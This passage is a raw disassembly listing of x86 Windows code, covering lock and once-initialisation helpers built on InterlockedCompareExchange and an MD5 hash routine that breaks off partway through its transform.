near ptr 77C2C21Bh nop add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E980 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E980 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E980 mov ebx, 10h call near ptr 7C9010EDh nop loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3FC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0D5D6E890h, 0C085022Eh, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j call near ptr 2720701h nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax call near ptr 2720000h nop cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3E8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2740000h test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi call near ptr 27B0836h nop mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0D368E851h, 5690022Dh, 0E890D88Bh dd 22DD4E0h, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA ; "€" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] 